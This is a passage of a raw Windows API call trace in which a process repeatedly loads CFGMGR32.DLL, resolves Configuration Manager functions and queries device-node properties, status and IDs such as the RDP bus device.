0x20abc281fc0 [0217.046] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.046] malloc (_Size=0x48) returned 0x20abc27cf80 [0217.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3d2261bd, dwHighDateTime=0x1d9eb0c)) [0217.046] SetEvent (hEvent=0x248) returned 1 [0217.050] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.050] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.053] malloc (_Size=0x18) returned 0x20abc281ae0 [0217.053] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.054] malloc (_Size=0x48) returned 0x20abc27cf80 [0217.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3d24c317, dwHighDateTime=0x1d9eb0c)) [0217.054] SetEvent (hEvent=0x248) returned 1 [0217.058] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.058] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.061] malloc (_Size=0x18) returned 0x20abc281c00 [0217.061] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.062] malloc (_Size=0x48) returned 0x20abc27cf80 [0217.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3d24c317, dwHighDateTime=0x1d9eb0c)) [0217.062] SetEvent (hEvent=0x248) returned 1 [0217.067] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.067] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.071] malloc (_Size=0x18) returned 0x20abc281c80 [0217.072] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.075] malloc (_Size=0x48) returned 0x20abc27cf80 [0217.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3d27299a, dwHighDateTime=0x1d9eb0c)) [0217.075] SetEvent (hEvent=0x248) returned 1 [0217.080] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.080] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.083] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.083] malloc (_Size=0x18) returned 0x20abc282020 [0217.083] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x3c, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0217.083] malloc (_Size=0x48) returned 0x20abc27cf80 [0217.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3d27299a, dwHighDateTime=0x1d9eb0c)) [0217.083] SetEvent (hEvent=0x248) returned 1 [0217.354] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.354] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.357] malloc (_Size=0x18) returned 0x20abc281a00 [0217.357] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x3c, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0217.360] malloc (_Size=0x48) returned 0x20abc27cf80 [0217.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3d5211e2, dwHighDateTime=0x1d9eb0c)) [0217.361] SetEvent (hEvent=0x248) returned 1 [0217.365] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.365] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.369] malloc (_Size=0x18) returned 0x20abc282020 [0217.369] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0217.369] malloc (_Size=0x48) returned 0x20abc27cf80 [0217.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3d547563, dwHighDateTime=0x1d9eb0c)) [0217.370] SetEvent (hEvent=0x248) returned 1 [0217.375] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.375] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.378] malloc (_Size=0x18) returned 0x20abc281cc0 [0217.379] CM_Get_Device_IDA (in: dnDevInst=0x3d, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\RDPBUS\\0000") returned 0x0 [0217.379] malloc (_Size=0x48) returned 0x20abc27cb20 [0217.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3d547563, dwHighDateTime=0x1d9eb0c)) [0217.379] SetEvent (hEvent=0x248) returned 1 [0217.393] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.393] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.397] malloc (_Size=0x18) returned 0x20abc281a80 [0217.397] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0217.398] malloc (_Size=0x1a) returned 0x20abc2a9b80 [0217.398] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9b80, 